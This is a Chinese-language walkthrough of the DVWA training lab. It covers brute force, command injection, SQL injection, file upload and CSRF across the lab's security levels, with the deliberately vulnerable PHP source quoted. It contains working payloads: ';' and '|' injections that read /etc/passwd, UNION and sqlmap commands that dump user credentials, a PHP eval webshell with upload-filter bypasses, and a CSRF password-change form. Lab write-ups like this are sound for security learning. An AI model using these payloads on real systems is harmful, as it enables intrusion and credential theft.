环境配置
DVWA 靶场源代码:DVWA-master.zip
参考文章:【渗透测试零基础入门】搭建 DVWA 靶场保姆级教程(超详细),收藏这一篇就够了!_dvwa靶场搭建-CSDN博客
也可以使用 docker 直接部署
# 拉取镜像
docker pull sqreen/dvwa
# 部署安装
docker run -d -t -p 8888:80 sqreen/dvwaBrute Force
暴力破解的关键在于有一个好用的字典,有的时候需要我们自己编写一些脚本生成字典
Low 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>这里没有对用户名和密码进行任何过滤,也没对请求次数做限制,直接爆破即可
操作步骤
直接登录

然后抓取刚刚发起的登录请求

右键将请求放到轰炸机( Intruder )中,选择 Cluster bomb attack 模式

给要爆破的位置添加上美元符

在载荷(Payloads)中,第一个是用户名,添加一些常见的用户名

密码部分添加一些常见的密码,也可以直接使用密码本,Kali Linux 中的密码本可以参考:【kali笔记】kali中常用的密码字典,网站推荐 | CN-SEC 中文网
这里做题我们可以简单些,可以添加如下密码,或者直接让 AI 生成一个:
123456
password
123456789
12345678
12345
qwerty
abc123
111111
admin
letmein
welcome
monkey
password1
123123
iloveyou
sunshine
admin123
passw0rd
123qwe
zaq12wsx可以在资源池中添加线程数加快速度

然后点击 Start Attack 开始攻击,按照返回值的长度排序,可以明显看到 admin password 返回的内容不一样,查看发现破解成功

Medium 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>这里就是在登录失败后添加了两秒的延迟,没有什么大的影响,就是爆破的慢一些,但是问题不大
操作步骤
直接按照 Low 级别的步骤即可
High 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>这里引入了 user_token,每一次请求之后都会创建一个新的 Token,我们也需要不断更新 token
操作步骤
选择 Pitchfork attack 模式

对用户名,密码,token 进行爆破

用户名和密码参数如图,主要是token


如图所示,在 Settings 中选择Grep - Extract,在代码中找到 token,记得这个时候顺手复制一下 token

回到载荷,类型选择 Recursive grep,在下方填入我们刚刚获取到的 token,作为一开始的 token
由于我们是一个个获取,所以说资源池一定要设置为 1

爆破成功

Impossible 级别
<?php
if( isset( $_POST[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>代码中使用了Anti-CSRF Token 认证,登录三次之后锁定十五分钟,登录失败 2-4 秒的随机延迟,PDO 预处理语句防止SQL注入,多种方式一起防止暴力破解。
Command Injection
命令注入漏洞会让攻击者可以任意执行恶意代码语句,在实战中危害较高,也被称作命令执行,一般都属于高危漏洞。
Low 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>这里可以看到,代码直接获取了 ip,并没有执行任何的过滤,直接放到 shell_exec 中执行。
也就是说,我们可以很轻松的使用 | 、& 之类的命令连接符,来执行我们的攻击命令
操作步骤
写入如下语句:127.0.0.1;cat /etc/passwd
可以发现成功查看 /etc/passwd

Medium 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>可以看到,这里添加了对于 && 符号和 ; 号的过滤,但是我们还是可以通过 | 和 || 来进行注入
操作步骤
写入如下语句:127.0.0.1 | cat /etc/passwd
依然可以查看到 /etc/passwd

High 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>我们可以看一下代码,发现对于常见的命令连接符都进行了过滤,但是仔细观察发现,| 之后有空格,我们不使用空格即可
操作步骤
写入如下语句:127.0.0.1|cat /etc/passwd

Impossible 级别
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>代码中使用了Anti-CSRF Token 认证,对于输入的IP,通过 "." 进行分割,并且判断是否只有四位,且四位均为数字,即确保 IP 地址为点分十进制。
SQL Injection
Low 级别 - 手动注入
注入内容:1' or 1=1#
确认单引号闭合

注入内容:1' union select 1,database();#
查看数据库名

注入内容:1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa';#
查看表格

注入内容:1' union select 1,column_name from information_schema.columns where table_name = 'users';#
查看列名

注入内容:1' UNION SELECT user,password FROM dvwa.users;#
查看用户名和密码

Low 级别 - 使用 sqlmap
使用sqlmap进行扫描:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low"

使用sqlmap获取数据库名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" --dbs

使用sqlmap获取数据表名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa --tables

使用sqlmap获取数据表的列名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa -T users --columns

使用sqlmap获取user,password的数据:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa -T users -C user,password --dump
使用 md5 破解工具破解

查看csv文件

Medium 级别 - 手动注入
发现使用的 POST 协议,通过选择框限制

通过 burpsuite 抓包,修改参数,确认为数字型注入

尝试获取数据库
id=1 UNION select 1,database();#&Submit=Submit

尝试获取数据表名
id=1 UNION select 1,table_name FROM information_schema.tables where table_schema = "dvwa";#&Submit=Submit

发现报错,这里如果查看源码的话,会发现这里使用了 mysql_real_escape_string 函数进行过滤,会转义 SQL 语句中的特殊字符,所以说这里需要进行编码

把dvwa转成十六进制即可
id=1 UNION select 1,table_name FROM information_schema.tables where table_schema = 0x64767761;#&Submit=Submit

查看列的信息
id=1 UNION select 1,column_name FROM information_schema.columns where table_name = 0x7573657273;#&Submit=Submit

获取信息
id=1 UNION select user,password FROM dvwa.users;#&Submit=Submit

Medium 级别 - 使用 sqlmap
将请求写入到文件中
echo "
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.13.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://192.168.13.1
Connection: keep-alive
Referer: http://192.168.13.1/vulnerabilities/sqli/
Cookie: PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=medium
Upgrade-Insecure-Requests: 1
Priority: u=0, i
id=1&Submit=Submit
" > request.txt 
尝试注入
sqlmap -r request.txt

获取数据库名
sqlmap -r request.txt --dbs

获取数据表信息
sqlmap -r request.txt -D dvwa --tables

获取列信息
sqlmap -r request.txt -D dvwa -T users --columns

导出破解的数据信息
sqlmap -r request.txt -D dvwa -T users -C user,password --dump

High 级别 - 手动注入
和 Low 级别一样的做法,只不过在弹窗里面做

High 级别 - 使用 sqlmap 注入
拦截一个 session-input.php 的包,注意一定是 session-input.php

将请求包写入到 high.txt 中

这里要设置回显地址
sqlmap -r high.txt --second-url="http://192.168.13.1/vulnerabilities/sqli/"

剩下的步骤就和中级一样了
sqlmap -r high.txt --second-url="http://192.168.13.1/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump

File Upload
Low 级别
在本地创建一个 test.php ,写入如下内容
<?php
eval($_GET['cmd']);
?>上传到服务器中

通过给定的 url 访问一下文件,通过我们 p 参数传入 phpinfo()
http://localhost/hackable/uploads/cmd.php?cmd=phpinfo();

使用蚁剑进行连接
注意需要改成POST
<?php
eval($_POST['cmd']);
?>Medium 级别
使用初级的方法尝试连接

发现 php 文件不能被上传

将 cmd 文件重命名为 png 文件

发现可以上传

拦截这个请求包,将filename修改为cmd.php

发现连接成功

High 级别
使用中级的办法依然不行了
准备一张 png 图片(爱莉希雅!好看!我是爱莉希雅的狗!)

将木马文件和图片合并
木马文件内容如下

copy image.png/b + cmd.php/a cmd.png

上传完成
访问

这里链接视情况而定,后面是 png 文件在服务器的具体路径,可以看到代码执行了

CSRF
Low 级别
我们先来分析一下代码

这里直接看代码,会发现这里只是判断了输入的两个密码是否相等,相等的话就会修改,因此我们直接输入两个相同的,就可以修改密码
http://localhost/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
通过短链生成器 https://monojson.com/zh/generators/short-link-generator
https://monojson.com/s/CZczy
我们也可以通过 BurpSuite 拦截一下请求包,然后生成一个 CSRF 的包,代码如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<!--注释:将form表单中的数据提交到 http://127.0.0.1/vulnerabilities/csrf/-->
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8002/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="1234" />
<input type="hidden" name="password_conf" value="1234" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>